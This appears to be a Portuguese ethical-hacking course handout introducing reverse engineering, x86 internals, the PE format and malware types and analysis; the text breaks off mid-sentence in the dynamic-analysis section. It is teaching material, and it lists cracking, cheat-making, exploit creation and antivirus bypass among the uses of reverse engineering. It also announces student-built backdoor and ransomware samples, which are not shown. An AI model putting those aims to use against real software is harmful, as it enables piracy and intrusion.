Uploaded by gogoso2194

Apostila+-+Introdução+à+Engenharia+Reversa

advertisement
Pós Graduação EAD Em Ethical Hacking e
CyberSecurity
Introdução à
Engenharia Reversa
E
Análise de Malware
Prof. Engenheiro Diego Kiyoshi Maeoka
SUMÁRIO
Apresentação Inicial ...............................................................................................................6
Capítulo 1 .................................................................................................................................7
Introdução.............................................................................................................................7
Sobre Engenharia Reversa ...............................................................................................7
Estruturas de Software .......................................................................................................8
Camadas de Abstração ..................................................................................................8
Arquitetura de Computadores ...........................................................................................9
Memória Principal..............................................................................................................10
Instruções .......................................................................................................................11
Opcodes..........................................................................................................................12
Operandos ......................................................................................................................12
Registradores.................................................................................................................13
Registradores de uso geral......................................................................................13
Registradores de Segmento ....................................................................................14
Registradores Apontadores .....................................................................................14
Registradores de Status...........................................................................................15
Pilha.................................................................................................................................15
Implementação de Pilha ...........................................................................................15
Arquivo PE..........................................................................................................................16
Layout do Arquivo PE ...................................................................................................17
Cabeçalho MZ do DOS ............................................................................................17
Fragmento (stub)do DOS .........................................................................................17
Cabeçalho do Arquivo ..............................................................................................18
Cabeçalho Opcional .................................................................................................18
Cabeçalho de Seções ..............................................................................................18
Seções ........................................................................................................................19
Seção de Código (CODE/TEXT) ........................................................................19
Seção de Dados (DATA) .....................................................................................19
Seção de Recursos (RSRC)................................................................................19
Seção de exportação (EDATA) ...........................................................................20
Seção de importação (IDATA) ............................................................................20
Seção de debug (DEBUG) ..................................................................................20
Sugestões de Livros .........................................................................................................21
Referências ........................................................................................................................21
Capítulo 2 ...............................................................................................................................22
Introdução...........................................................................................................................22
Arquivos ..............................................................................................................................22
Execução de Aplicativos ..................................................................................................22
Anéis de Processamento .............................................................................................22
Lógica de execução ......................................................................................................23
Ferramentas para análise ................................................................................................23
Debugger ........................................................................................................................23
OllyDGB ......................................................................................................................24
Sugestões de Livros .........................................................................................................24
Referências ........................................................................................................................24
Capítulo 3 ...............................................................................................................................25
Introdução...........................................................................................................................25
O que é um Malware ........................................................................................................25
Tipos de Malware ..........................................................................................................25
Vírus ............................................................................................................................25
Worm ...........................................................................................................................25
Trojan ..........................................................................................................................26
Trojan-Downloader....................................................................................................26
Trojan-Banker ............................................................................................................26
Backdoor.....................................................................................................................26
Bot/Botnet ...................................................................................................................26
Rootkit .........................................................................................................................27
PhishingScam ............................................................................................................27
Análise de Malware ...........................................................................................................27
Tipos de Análise ............................................................................................................28
Análise Estática .........................................................................................................28
Análise Dinâmica.......................................................................................................28
Ferramentas para Análise ...........................................................................................28
NMAP ..........................................................................................................................28
Wireshark....................................................................................................................28
Process Explorer .......................................................................................................28
TCP View ....................................................................................................................28
WXHexEditor..............................................................................................................29
FileGrab ......................................................................................................................29
DiE ...............................................................................................................................29
FTK Imager ................................................................................................................29
API Monitor.................................................................................................................29
RegShot ......................................................................................................................29
Sandbox ......................................................................................................................29
Métodos de ofuscação .....................................................................................................30
Packer .............................................................................................................................30
Encriptadores .................................................................................................................30
Binders ............................................................................................................................30
AntiVM e AntiSandbox .................................................................................................31
Sugestões de Livros .........................................................................................................34
Referências ........................................................................................................................34
Capítulo 4 ...............................................................................................................................35
Introdução...........................................................................................................................35
O que é um ransomware .................................................................................................35
História dos Ransomwares ..............................................................................................35
Vetores de Entrada ...........................................................................................................36
Tipos de Ransomware .....................................................................................................37
Scareware ......................................................................................................................37
Bloqueados de Tela ......................................................................................................37
Encriptadores de Arquivos ...........................................................................................37
Sistemas Apple ..................................................................................................................38
Sistemas Android ..............................................................................................................38
Hidden Tear........................................................................................................................38
Sugestões de Livros .........................................................................................................39
Referências ........................................................................................................................39
Capítulo de Apoio ..................................................................................................................40
Lista de Programas ...........................................................................................................40
Linux ................................................................................................................................40
Windows .........................................................................................................................40
Fontes .................................................................................................................................42
SomaDoQuadrado.c .....................................................................................................42
Downloader.VBS ...........................................................................................................43
STACK.c .........................................................................................................................44
HEAP.c............................................................................................................................44
HELLOWORLD.c ..........................................................................................................44
Implementação da Backdoor...........................................................................................45
Conclusão...............................................................................................................................48
Apresentação Inicial
Seja bem vindo ao curso Introdução à Engenharia Reversa e Análise de
Malware.
Eu sou o professor Diego Kiyoshi Maeoka, Engenheiro da Computação
formado na cidade de Londrina-PR pela Universidade Norte do Paraná, UNOPAR, e
MBA em Gestão de TI também pela UNOPAR. Estarei ao longo deste curso dividindo
conhecimentos e experiências com vocês adquiridos ao longo dos anos atuando no
mercado de TI nas áreas infraestrutura de redes, gestão de projetos e segurança de
dados, atuações estas que me renderam algumas certificações ligadas ao mercado
de anti-malwares como a TCSM (Trendmicro Certified Security Master), Bitdefender
Cloud Security Certified, além das certificações LPIC-1, Microsoft MCP, Fortinet
NSE3.
Nosso curso tem como objetivo apresentar ao aluno todos os conceitos
necessários para tenha uma sólida base que lhe permita se aprofundar na ciência da
engenharia reversa, e também executar análises de malware.
Ao longo do curso, o aluno terá contato com diversas ferramentas de análise,
tais como debuggers, packers, decriptadores, capturadores de pacotes de redes,
analisadores de arquivos PE, IDEs de programação e monitores de atividades
rodando em plataformas Windows e Linux que serão utilizados para a execução de
análises estáticas e dinâmicas.
Além das ferramentas citadas, para ajudar na compreensão do conteúdo, o
aluno fará a implementação de uma backdoor e um ransomware para que ambos
sejam devidamente analisados.
Capítulo 1
Introdução
Neste capítulo, estudaremos as definições do que é engenharia reversa e
quais são suas utilidades, estruturas de software, camadas de abstração de software,
arquitetura computacional e o funcionamento de memória, incluindo suas instruções,
opcodes e pilha.
Sobre Engenharia Reversa
Podemos definir engenharia reversa como o ato de desmontar um determinado
dispositivo para entender seu funcionamento.
Técnicas de engenharia reversa vem sendo utilizadas ao longo da história
principalmente na indústria bélica, onde podemos citar por exemplo a Operação
Diamante, executada durante a Guerra Fria pelo Mossad, o serviço de inteligência de
Israel, com o objetivo de adquirir um caça MiG-21 soviético, na época considerada a
aeronave de guerra mais avançada do arsenal soviético.
A operação levou cerca de 3 anos para ser concluída, tendo iniciado em
meados de 1963 e terminado em 1966, quando um piloto assírio desertor, chamado
Munir Redfa, entregou um caça para as forças de Israel.
Americanos e
Israelenses estudaram a aeronave,
entendendo
seu
funcionamento, fraquezas e pontos fortes, como resultado, a aplicação dos
conhecimentos adquiridos, foram fundamentais para garantir a superioridade aérea
das forças de Israel sobre as forças árabes durante a Guerra dos Seis Dias.
Outro caso famoso do uso de engenharia reversa, dentro do mercado de
computadores, é o caso da AMD, que em 1975 conseguiu fazer uma cópia exata do
Intel 8080 através da análise dos processadores da sua concorrente. Fato esse que
se repetiu por anos, sendo que a cada processador lançado pelo Intel a AMD lançava
seu equivalente, como o Am286 que era idêntico ao Intel 80286; ou o Am386 que era
idêntico ao 80386.
Em nossos estudos, aplicaremos a engenharia reversa com o objetivo de
entender como um trecho de código funciona, sem possuirmos seu código fonte.
Através do emprego de técnicas de engenharia reversa, é possível alcançar
objetivos como:

Crackear um programa;

Criar cheats;

Debugar um programa para achar onde está dando erro;

Criar exploits;

Criação de softwares seguros;

Bypass em antivírus e firewall;

Análise de malware;

Entender o funcionamento de determinado software.
Estruturas de Software
No início da computação os programadores de software deveriam conhecer
todos os mecanismos internos do ambiente onde seus programas seriam executados,
incluindo gerenciamento de memória, funcionamento da CPU, linguagem de máquina
e muitos outros tópicos. Ao longo do tempo, até chegar aos dias atuais, foram criadas
diversas camadas de abstrações no desenvolvimento de software possibilitando ao
programador desenvolver sem a necessidade do conhecimento profundo de sistemas
computacionais, precisando somente entender as linguagens de programação de alto
nível que informam ao computador o que fazer.
Camadas de Abstração
Tradicionalmente um computador pode ser representado através de inúmeros
níveis de abstração (camadas) que tem como função ocultar os detalhes de
implementação do código, um exemplo do emprego destas camadas, é o fato de que
podemos executar o sistema operacional Microsoft Windows em diferentes tipos de
hardware, e isso deve-se ao fato de da camada de hardware ser abstraída do sistema
operacional.
Dentre as camadas de abstração, podemos destacar:

Hardware: Único nível físico, composto por circuitos elétricos que
implementam complexas combinações de operadores lógicos como o
XOR, AND, OR e NOT, e tem como uma de suas principais
características o fato de não poder ser facilmente manipulado por
software.

Microcódigo: Também conhecido como firmware. Opera somente no
exato circuito para o qual foi projetado.

Código de máquina: composto por opcodes, que são dígitos
hexadecimais que dizem ao processador que tarefas ele deve executar.
O Código de máquina é criado após a compilação de um software
escrito em linguagem de alto-nível;

Linguagens de baixo-nível: Versão amigável aos humanos do conjunto
de instruções da arquitetura do computador.

Linguagens de alto-nível: Fornecem forte abstração do nível de máquina
e facilitam o uso de lógica de programação e mecanismos de controle
de fluxo. Linguagens de alto-nível incluem C, C++, Visual Basic, Pascal
e outras.
A figura 1 mostra um modelo simplificado de 3 níveis de código, onde temos o
temos o Código em linguagem de alto nível, ou seja, o código fonte propriamente dito,
em seguida esse código é transformado em linguagem de máquina após passar por
um compilador, sendo que podemos ver na imagem suas linhas em hexadecimal,
utilizado para enviar as instruções ao processador e por ultimo, fazendo o uso de um
disassembler, temos o Código em linguagem de baixo nível, onde os hexadecimais
já foram convertidos para uma linguagem mais próxima da humana;
Figura 1
Arquitetura de Computadores
Tomando como padrão a arquitetura x86, verificaremos que a maioria dos
computadores seguem como base o Modelo de Von Neumann.
O modelo de Von Neumann é composto por três componentes de hardware,
sendo eles:

Unidade Central de Processamento (CPU): responsável pela execução
dos códigos;

Memória Principal: responsável pelo armazenamento de dados e
códigos;

Dispositivos de Entrada e Saída: responsável pela interação com o
usuário do computador.
Na Figura 2, podemos ver um detalhamento da arquitetura de Von Neumman,
onde no interior da CPU podemos identificar os seguintes componentes:

Unidade de Controle: Coordena a execução de instruções vindas da
memória RAM, através de um registrador (o instruction pointer, EIP) que
armazena o endereço da instrução a ser executada. Ela também envia
resultados da ALU para a RAM.

Registradores: unidades de armazenamento básicas da CPU e são
frequentemente utilizados para poupar tempo, assim a CPU não precisa
acessar a RAM.

Unidade Lógica e Aritmética: executa uma instrução trazida da RAM e
coloca os resultados nos registradores ou na própria RAM.
Figura 2
Memória Principal
A figura 3 mostra a memória principal e a forma como é dividida durante a
execução de um programa, sendo que podemos definir 4 segmentos:

Dados: ou Data section, que contém dados que são carregados na
memória assim que o programa é executado. Esses valores às vezes
são chamados de dados estáticos porque eles não mudam enquanto o
programa está rodando, ou também podem ser chamados de dados
globais porque estão disponíveis para qualquer parte do programa;

Código: Instruções que são trazidas pela CPU para executar as tarefas
do programa. Controla o que o programa faz e como as tarefas do
programa serão coordenadas;

Heap: Memória dinâmica durante a execução do programa, criar
(alocar) novos dados e eliminar (free) dados que o programa não mais
precisa;

Stack: (pilha) é utilizada para variáveis locais e parâmetros de funções,
e ajuda no controle do fluxo do programa.
Figura 3
Instruções
As Instruções são os blocos que constroem os programas. Seguindo o padrão
Assembly x86, uma instrução é composta de um mnemônico e zero ou mais
operandos, o mnemônico por sua vez, é uma palavra que identifica a instrução a ser
executada, como por exemplo MOV, que movem dados e os operandos são utilizados
para identificar informações usadas pela instrução, como por exemplo um registrador
ou valor.
Na Tabela 1, temos um exemplo de instrução, com seus mnemônicos e
operandos.
MNEUMÔNICO
MNEUMÔNICO
MNEUMÔNICO
MOV
ECX
0x42
Tabela 1
Opcodes
Cada instrução corresponde a um opcode que define para a CPU qual
operação realizar.
Através de disassemblers, podemos traduzir os opcodes de forma legível para
humanos, sendo assim muito úteis no processo de engenharia reversa de um
executável.
Na Tabela 2 temos os opcodes para a instrução “MOV ECX, 0x42”, que são
“B9 42 00 00 00”, sendo que o valor 0xB9 corresponde ao “MOV ECX,” e
“0x42000000” corresponde ao valor 0x42.
INSTRUÇÃO
MOV ECX
0x42
OPCODES
B9
42 00 00 00
Tabela 2
O valor 0x42000000 é tratado como o valor 0x42 pois a arquitetura x86 usa o
formato little-endian. A endianness (ordem dos bytes) dos dados descreve se o Byte
mais significativo (big-endian) ou o menos significativo (little-endian) é ordenado
primeiro, no endereço mais baixo da memória. Por exemplo, o endereço de rede
127.0.0.1 será́ representado como 0x7F000001 em big-endian (na rede) 0x0100007F
em little-endian (na memória).
Operandos
Os operandos são utilizados para identificar os dados usados por uma
instrução. Três tipos de operandos podem ser usados:

Imediatos: operandos que possuem valor fixo, como por exemplo 0x42;

Registradores: operandos que se referem aos registradores da CPU,
como por exemplo ECX;

Endereços de memória: operando que fazem referência a endereços da
memoria que contenham um valor de interesse, tipicamente denotados
por um valor, registro ou equação entre colchetes, como exemplos
[0xFFFFFFAA], [ECX] e [ECX+0x08].
Registradores
Registradores são o menor local de armazenamento de dados disponível para
a CPU, podendo ser acessados mais rapidamente do que qualquer outro tipo de
armazenamento.
Os
processadores
x86
possuem
diversos
registradores
disponíveis,
organizados por categorias, tais como:

Registradores de uso geral;

Registradores de segmento;

Registradores apontadores;

Registradores de status;
Registradores de uso geral
Os registradores de uso geral, como o próprio nome sugere, são utilizados
para quase tudo, como manipulação de dados, cálculos, contagem, armazenamento,
ponteiros, etc.
São registradores de 32 bits, e podem ser divididos em registradores menores,
com o tamanho de 16 bits, que por sua vez podem novamente ser divididos em
registradores menores, desta vez com 8 bits, como mostra a Figura 4.
Figura 4
Registradores de Segmento
Os registradores de segmento são menores do que os registradores de uso
geral, isso por que tem uma função mais limitada, basicamente eles são utilizados
para acessar um segmento específico de memória.
Os registradores de segmento estão listados abaixo na Tabela 3.
Registrador
Segmento
CS
Code segment
Descrição
O registrador Segmento de Código é utilizado para apontar para
uma área de memória que contém o código de programa que está
em execução.
DS
Data segment
O registrador Segmento de Dados é utilizado para apontar para um
segmento de memória que estiver sendo utilizada no
armazenamento de dados do programa em execução.
SS
Stack segment
O registrador Segmento de Pilha é utilizado para identificar o
segmento que será utilizado como pilha (stack), com o objetivo de
armazenar os dados temporários do programa em execução.
ES
Extra segment
O registrador Segmento Extra é utilizado para determinar um
segmento extra de dados, distante da área em que se está
trabalhando. Normalmente é usado para acessar a memória de
vídeo.
FS
Extra segment
GS
Extra segment
Mais um segmento extra de dados.
Idem.
Tabela 3
Registradores Apontadores
Também chamados de registradores de deslocamento, ou de índice, indicam
um determinado deslocamento (offset) baseado no seu registrador de segmento
correspondente.
Na tabela 4 temos os registradores apontadores utilizados.
Registrador
Nome
Descrição
SI
Source Index
Esse registrador é utilizado como fonte em manipulação de string.
DI
Destination Index
Esse registrador é utilizado como destino em manipulação de string.
BP
Base Pointer
Esse registrador aponta para a base da pilha.
SP
Stack Pointer
Esse aponta para o topo da pilha.
IP
Instruction Pointer
O Apontador de Instrução possui o valor de deslocamento da próxima
instrução. Ele é de uso interno do processador, por isso seu valor não
pode ser alterado, apenas lido.
Tabela 4
Registradores de Status
Funcionam como um sinalizador para o processador verificar como ele deve
efetuar determinada tarefa, possuem 32 bits, sendo que cada bit serve para uma
função diferente e podem ser setados (1) ou não (0).
Na Figura 5 temos a lista dos registradores de Status e suas respectivas
posições.
Figura 5
Pilha
A pilha é uma estrutura de dados caracterizada pelo uso de instruções de
PUSH (empilha) e POP (desempilha), em uma estrutura LIFO last in, first out),
utilizada para armazenar funções, variáveis locais e controle do programa.
Implementação de Pilha
Uma das formas mais comuns de implementação de pilha, é a chamada pilha
CDECL,
que segue a seguinte convenção:
1. As instruções PUSH colocam argumentos na pilha;
2. A função é chamada com “CALL + endereço de memória”, fazendo com
que o endereço da instrução atual (conteúdo do registrador EIP) seja
colocado na pilha.
3. Com o uso do prólogo da função (function prologue), o espaço é alocado
na pilha para variáveis locais e o EBP (base pointer) é colocado na pilha.
Isso é feito para salvar o EBP para o código principal que chamou a
função. Como estamos usando uma chamada de função, a execução
será transferida para esta função temporariamente, e este endereço
utilizado juntamente com o CALL será usado para retornar ao código
principalmente quando a função for finalizada;
4. Funções executam suas tarefas;
5. Através do uso do epílogo a pilha é restaurada. O ESP (Stack Pointer)
é ajustado para liberar o espaço utilizado pelas variáveis locais e o EBP
(Base Pointer) também é restaurado, desta forma, o código que chamou
a função pode referenciar suas variáveis corretamente. Em alguns
casos a instrução LEAVE pode ser utilizada como um epílogo porque
ela atribui ao ESP o valor do EBP e retira o EBP da pilha. Epílogo da
função restaura a pilha;
6. A função retorna chamando a instrução RET, que retira o valor de
retorno da pilha e coloca no EIP, dessa forma o programa continua sua
execução do local original onde a função foi chamada.
7. A pilha é ajustada para remover os argumentos que foram enviados, a
menos que eles sejam utilizados novamente mais tarde.
Arquivo PE
O formato PE é basicamente uma estrutura padrão de armazenamento de
dados de arquivos onde estão encapsuladas todas as informações necessárias ao
sistema operacional (system loader) para sua leitura e execução, tais como código,
dados inicializados, dados não inicializados, etc. Este formato foi desenvolvido pela
Microsoft, e padronizado em 1993 pelo Comitê de Padrões de Interfaces de
Ferramentas (Tool Interface Standard Committee), que era formado pela Microsoft,
Intel, Borland, Watcom, IBM, entre outras, sendo que sua denominação vem da ideia
de um padrão estabelecido pela Microsoft nos primórdios do Windows, onde
decidiram criar um formato de binário capaz de rodar em qualquer outra versão do
Windows. Teoricamente eles conseguiram, pois o formato do arquivo permaneceu
inalterado desde o Windows 95.
Apesar de ser mais popularmente conhecido como sendo o formato dos
arquivos EXE, é também o formato dos arquivos DLL, OCX, CPL e SYS, o formato
CPL inclusive já foi muito utilizado para Malwares;
Layout do Arquivo PE
Na Figura 6 temos o desenho do Layout de um Arquivo PR, onde constam
seus cabeçalhos e seções, sendo eles:

Cabeçalho MZ do DOS;

Fragmento (stub) do DOS;

Cabeçalho do Arquivo;

Cabeçalho Opcional;
o Diretório de Dados;

Cabeçalho de seções;
o Seções.
Figura 6
Cabeçalho MZ do DOS
Os primeiros dois bytes de um arquivo, são sempre sua assinatura, que no
caso de arquivos PE serão, sempre formada pelos caracteres “MZ”, que são uma
referência ao nome de Mark Zbikowski, um dos principais desenvolvedores do MSDOS.
Fragmento (stub)do DOS
Formado por 64 Bytes, divididos em instruções de máquina e um texto, é um
executável embutido no cabeçalho PE, que é chamado caso o arquivo PE não possa
ser executado.
Ao carregar o programa na memória, verifica o sistema é compatível, e caso
não for, utiliza esta seção para exibir a mensagem de erro.
Cabeçalho do Arquivo
Este cabeçalho é composto por componentes que definem informações como:

Em que tipo de máquina o executável deve rodar;

O número de seções que contém;

Horário em que foi linkado.
Além disso, as informações deste cabeçalho informam se o arquivo é um
executável ou DLL, em nosso caso, a diferença entre um executável e uma DLL é
que uma DLL não pode ser iniciada, podendo somente ser utilizada por outro binário
enquanto um binário não pode ser linkado a um executável.
Cabeçalho Opcional
Apesar do nome, o cabeçalho opcional está sempre presente e indica detalhes
de como o binário deve ser carregado, tais como:

O endereço inicial;

Quantidade reservada para a pilha (stack);

Tamanho do segmento de dados.
Ainda dentro do cabeçalho opcional temos o array indicativo dos diretórios de
dados (data directories), estes diretórios contêm ponteiros para os dados existentes
nas seções (sections), por exemplo, se um binário tiver um diretório de exportação
(export directory), existirá um ponteiro para este diretório no array, sob a denominação
IMAGE_DIRECTORY_ENTRY_EXPORT, que apontará para uma das seções.
Cabeçalho de Seções
Os componentes do cabeçalho de seções são os componentes realmente
necessários para executar um programa.
Cada seção possui algumas flags sobre alinhamento, o tipo de dados que
contém, se pode ser compartilhada, além dos dados propriamente ditos.
Seções
Um arquivo PE pode conter infinitas seções, porém algumas delas são
consideradas oficiais, estando presentes na maioria dos executáveis, sendo elas:

Seção de Código (CODE/TEXT)

Seção de Dados (DATA)

Seção de Recursos (RSRC)

Seção de exportação (EDATA)

Seção de importação (IDATA)

Seção de debug (DEBUG)
Seção de Código (CODE/TEXT)
Esta seção contém o código compilado do aplicativo contendo todas as
instruções em Assembly, sendo que qualquer alteração feita no código de um
aplicativo vai resultar numa mudança dos dados presentes nesta seção.
Seção de Dados (DATA)
Essa seção pode ser subdivida em 3 outras seções, sendo elas:

BSS: Contém todas as variáveis não inicializadas (sem um valor
definido) do aplicativo.

RDATA: Dados de somente leitura. Podem ser strings, constantes ou
até mesmo dados da Import Table.

DATA: Todas as outras variáveis que não se encaixam em nenhuma
das duas outras seções
Seção de Recursos (RSRC)
Esse trecho é utilizado para armazenar qualquer outro tipo de dado dentro de
um executável. Nela ficam armazenados os ícones, imagens, disposição dos itens na
janela, menus, etc.
Esta seção possui uma característica um pouco diferente das demais seções,
pois possui uma outra subdivisão interna, separando cada recurso.
Seção de exportação (EDATA)
Armazena o diretório de exportação, contendo informações sobre os nomes e
endereços das funções contidas em uma DLL.
Os arquivos DLL podem ser definidos por 2 tipos de funções: as internas e
externas. As externas podem ser chamadas por qualquer outro módulo, enquanto as
funções internas ficam restritas ao módulo “dono” da mesma.
As DLLs nos dão a possibilidade de “modularizar” aplicativos, contendo
funções genéricas que podem ser utilizadas por qualquer programa.
Seção de importação (IDATA)
Esta seção funciona de forma semelhante a anterior, porém, ao invés de ser
voltada para os arquivos DLL, a seção de importação tem a finalidade de montar um
bando de dados de todas as funções utilizadas por um executável, tais como o
endereço e as características de cada rotina importada.
De maneira resumida, podemos definir que a seção de exportação “fornece”
funções para o uso e a de importação “busca” essas funções exportadas.
Seção de debug (DEBUG)
Esta seção está presente normalmente nas compilações de aplicativos em
estágio de desenvolvimento, essa seção contém dados úteis para o programador,
que podem o auxiliar no tratamento de erros.
Sugestões de Livros

The Art of Assembly Language Programming (AoA) - Randy Hyde
Referências

Manuais Intel (Basic Architecture, Instruction Set Reference e System
Programing Guide)
o https://www.intel.com/content/dam/www/public/us/en/documents
/manuals/64-ia-32-architectures-software-developer-instructionset-reference-manual-325383.pdf

Windows Portable Executable
o https://www.devmedia.com.br/windows-portable-executable/857

Formato PE
o http://numaboa.com.br/informatica/oraculo/formatopadrao/1096-formato-pe

Estrutura e Funcionamento de um Executável
o http://www.fergonez.net/files/tut_win32_exe.pdf

Estude binários de Windows com o novo pev
o https://www.mentebinaria.com.br/artigos/estudebin%C3%A1rios-de-windows-com-o-novo-pev-r18/
Capítulo 2
Introdução
Neste capítulo, estudaremos sobre as definições e formas de identificação de
um arquivo, anéis de processamento, lógica de execução e ferramentas de análise.
Arquivos
Podemos considerar que qualquer sequencia de dados binários, gravados em
um local de nosso computador é um arquivo, independente de seu tipo, sendo que
seu tipo será definido através de seus cabeçalhos e estruturas do mesmo, ou seja, a
tipagem de um arquivo via além do conceito de extensões ao qual normalmente
somos apresentados no início dos estudos na área da informática, e é por este motivo
que mesmo trocando a extensão de um arquivo, ferramentas de prevenção à roubos
de dados (DLP) conseguem identificar o tipo do arquivo.
As informações como a data de modificação, acesso e criação do arquivo,
conhecidos como MAC Times, bem como todas as demais informações sobre o
mesmo contidas em seus metadados, não fazem parte do arquivo em si, para
armazenar estas informações, todo arquivo tem uma referência no file system do
sistema operacional onde encontram-se seus metadados, no caso do sistema
operacional Linux, ficam armazenados nos iNodes, e no caso do sistema operacional
Windows, ficam armazenadas nos registros.
Execução de Aplicativos
Anéis de Processamento
Dentro da plataforma x86, temos um sistema de domínios de proteção
hierárquica, também de chamado de Protection Rings, ou Anéis de Processamento,
este modelo oferece 4 anéis de processamento, sendo que somente os anéis 0 e 3
são usados pelo sistema operacional;
Na Figura 6 temos a representação dos 4 anéis de processamento, sendo eles:

0 – Kernel: considerado o nível mais elevado de todos;

1 – Device Drivers: nível de drivers de dispositivos;

2 – Device Drivers: idem;

3 – Applications: também chamado de nível de usuário e considera do
menos privilegiado.
Figura 6
Dentro da área de análise de malware, um segmento da Engenharia Reversa,
este conhecimento sobre os anéis de processamento é de grande importância, uma
vez que alguns malwares possuem instruções para tentar executar suas rotinas no
RING 0, tendo assim privilégios mais altos do que teriam no RING 3 onde
normalmente seriam executados.
Lógica de execução
Tomando por base o sistema operacional Linux, na Figura 7 temos a ilustração
do processo de execução de um arquivo binário, onde o mesmo inicia-se na área
denominada de User Land, ou RING 3, após sua execução, o arquivo binário
precisará de intermediários para acessar o Kernel, RING 0, estes intermediários são
chamados de SYSCALLS, e são responsáveis por enviar as informação do nível do
usuário para o nível do Kernel e podem ser visualizadas no Linux utilizando o
comando STRACE juntamente com a execução do binário.
Figura 7
Ferramentas para análise
Debugger
Um debugger, ou depurador, é um software criado para testar outros
softwares, com o principal objetivo de encontrar defeitos no mesmo. Normalmente
oferecem funcionalidades mais sofisticadas, tais como:

Execução passo-a-passo de um programa;

Suspensão do programa para examinar seu estado atual, em pontos
predefinidos (breakpoint);

Acompanhamento do valor de variáveis.
OllyDGB
Desenvolvido por Oleh Yuschuk, o Olly é provavelmente o debugger para
Windows mais famoso do mundo. Deixou de ser desenvolvido e não há mais
atualizações desde 2013, mas ainda sim tem recursos incríveis como unpacking
automático de módulos SFX, tracing e um excelente suporte a plugins.
O OllyDBG pode ser obtido no endereço abaixo e não precisa ser instalado,
basta descompactar o arquivo e executá-lo como administrador:
http://www.ollydbg.de/
Sugestões de Livros

Practical Malware Analysis: The Hands-On Guide to Dissecting
Malicious Software - Michael Sikorski (Autor), Andrew Honig (Autor)

Practical Malware Analysis: The Hands-On Guide to Dissecting
Malicious Software - Michael Sikorski (Autor), Andrew Honig (Autor)
Referências

Papo Binário - Arquivos
o https://www.youtube.com/watch?v=4ElFuL1PgoE&feature=yout
u.be

Aldeia Numaboa - O formato PE
o http://www.numaboa.com.br/informatica/oraculo/formatopadrao/1096-formato-pe
Capítulo 3
Introdução
Neste capítulo iniciaremos nossos estudos focados na análise de malware, e
estudaremos sobre as definições de Malware e suas formas, além disso abordaremos
também o que é a Análise de Malware, e as ferramentas mais comuns em sua prática.
Estudaremos neste capítulo também sobre os métodos utilizados pelos
malwares para ofuscarem seus códigos.
O que é um Malware
O nome Malware é uma referência ao termo Malicious Software, que significa,
Software Malicioso, trata-se de um termo genérico que abrange todos os tipos de
programas especificamente desenvolvidos para executar ações maliciosas em um
computador. Exemplos:

Vírus de computador;

Worms;

Trojan;

Spywares.
Tipos de Malware
Vírus
Age se anexando a um programa hospedeiro já existente. Altera o começo do
programa para executar o código malicioso que foi inserido no programa original.
Infecta outros arquivos, inclusive através de compartilhamento de rede e pode
criar novos executáveis.
É considerado o tipo mais antigo de malware e tem se tornado menos popular
nos dias atuais, porem as vezes o termo ainda é utilizado de forma genérica para
descrever todos os tipos de malwares.
Geralmente dependem da ação do usuário para se tornarem ativos e
infectarem outros computadores, diferente da maioria dos malwares atuais que
utilizam Internet ou a rede local para se replicarem.
Worm
Similar ao vírus, porem com a característica de se auto replicarem pela rede
sem interação do usuário, para isso, exploram vulnerabilidades do sistema
operacional e outros softwares. Esta característica, os torna capazes de se
propagarem de forma incontrolável em um curto período do tempo.
Trojan
Também chamado de Cavalo de Troia, leva este nome em referência a
mitologia grega, onde durante a Guerra de Tróia, os gregos construíram uma grande
estatua de um cavalo e a deixaram nos portões de Tróia, a estatua estava cheia de
soldados gregos em seu interior, que durante a noite, após os troianos a colocarem
para dentro da cidade acreditando ser um presente, abriram os portões da cidade
possibilitando entrada dos demais soldados gregos e a dominação de Troia.
Agindo de forma semelhante, um trojan é um programa que se passa por um
aplicativo ou arquivo legítimo (vídeos, fotos, jogos, etc.), mas que além de executar
funções para as quais foi aparentemente projetado, também executa outras funções
normalmente maliciosas e sem o conhecimento do usuário.
Trojan-Downloader
Tipo de Trojan com objetivo específico de fazer download de outros códigos
maliciosos.
Downloaders, ou Loaders geralmente são instalados pelos atacantes quando
eles obtêm acesso ao sistema pela primeira vez. O downloader irá baixar e instalar
outros malwares automaticamente.
Trojan-Banker
Tipo de Trojan é muito comum no Brasil, sendo que cerca de 95% dos
malwares produzidos no país são desse tipo.
Tem como objetivo furtar dados de acesso aos sistemas de Internet Banking.
Backdoor
Código malicioso que se instala no computador para permitir o acesso remoto.
Permite conexão e execução de comando no computador infectado sem que o
usuário tenha conhecimento.
Bot/Botnet
Possui funcionamento similar ao backdoor permitindo conexão remota ao
computador infectado, porem com o objetivo de conectar o computador a um servidor
de comando-e-controle (Command-and-Control, C&C ou C2). O servidor C&C por usa
vez, é capaz de enviar instruções para toda a rede de computadores infectados com
os bots para realizem determinadas atividades, como por exemplo, captura de teclas
digitadas, acesso em determinados sites visando sua sobrecarga (DDoS), instalação
de malwares adicionais, etc.
Rootkit
Malware criado com o objetivo de ocultar sua presença e de outros códigos
maliciosos no sistema operacional. Utiliza-se de técnicas avançadas para dificultar a
detecção por parte do usuário, geralmente faz isso alterando funções internas do
sistema operacional, normalmente, buscando uma forma de sua execução ser
processada no RING 0 ao invés do RING 3 como seria feita originalmente.
PhishingScam
Seu uso normalmente está ligado a golpes que utilizam de engenharia social.
Costumam atuar com o envio de mensagem não solicitado (spam) para se
passar por uma instituição legítima, tais como bancos, empresas, lojas online, etc, de
forma a induzir o usuário a acessar paginas falsas ou instalar códigos maliciosos.
Análise de Malware
A Análise de Malware pode ser definida como a análise de códigos maliciosos
com o objetivo de descobrir o seu comportamento e/ou funcionamento. Ela está
diretamente ligada a engenharia reversa, principalmente na área de análise de
código.
Através do estudo de um código malicioso podemos:

Criar assinaturas e outras formas de detecção e remoção usadas pelo
antivírus;

Verificar se um arquivo é ou não malicioso antes de executa-lo;

Verificar se uma página/e-mail é ou não malicioso antes de acessa-lo;

Prevenir e reagir a uma contaminação por malware;

Utilizar em uma análise forense.
Durante uma análise de malware, o analista deve procurar responder algumas
questões, tais como:

Qual é a natureza e a finalidade do programa?

Como funciona o programa para cumprir a sua finalidade?

Como funciona o programa ao interagir com o sistema vítima?

Como o programa interage com a rede?

O que o programa sugere sobre o nível de sofisticação do atacante?

Há um vetor de ataque identificável que o programa usa para infectar
um hospedeiro?

Qual é a extensão da infecção ou comprometimento do sistema ou
rede?
Tipos de Análise
Análise Estática
Nesta modalidade de análise, um artefato malicioso é analisado sem executálo.
É feita com base na observação de seu código com ajuda de disassemblers,
debuggers, descompiladores e utilizando técnicas de engenharia reversa;
Exige do analista um conhecimento maior dos formatos de arquivos
envolvidos, do funcionamento interno do sistema operacional e da linguagem
assembly.
Análise Dinâmica
Esta modalidade de análise envolve a execução do malware em um ambiente
controlado, utilizando ferramentas de monitoramento para capturar as interações que
